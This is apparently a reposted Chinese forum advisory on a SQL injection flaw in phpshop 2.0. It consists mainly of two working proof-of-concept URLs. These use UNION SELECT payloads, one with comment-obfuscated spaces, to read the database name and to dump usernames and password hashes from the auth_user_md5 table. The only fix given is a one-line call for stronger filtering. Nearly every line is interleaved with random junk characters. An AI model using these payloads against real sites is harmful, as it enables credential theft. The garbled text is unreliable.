phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
4 A8 Y! d% ~# t. G7 w' @+ I
4 ]9 r3 f9 i3 T作者 : By onestree
' C. E1 F/ ?7 p2 L) D2 _, H. U2 a( U下载地址 : http://code.google.com/p/phpshop/downloads/list
+ @( j- U: M7 i5 o测试地址: windows 7 / ubuntu
1 Y: O0 M: `4 p/ G
* j; B" b: _6 t
% i, P7 a& b9 e5 E- x+ sSQLi p0c:
( \7 u( J0 c  [( I: _. z1 x4 Z
==================
; ]9 _/ t( L* `* y
- ]/ t. s5 d" N% Rhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
% b8 H+ ~. k/ C" ^# `# Ounion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

9 E  |' H6 Q: ^+ f, Q3 uhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
! o9 d! x+ c1 M$ K; X0 T. L5 ^0 G8 E; A7 p
. _0 m: v8 V3 W, M# g' {修复：
4 Q$ h( F7 Q0 `* t2 @加强过滤
​
0 V' N) s7 |2 S& }( W1 H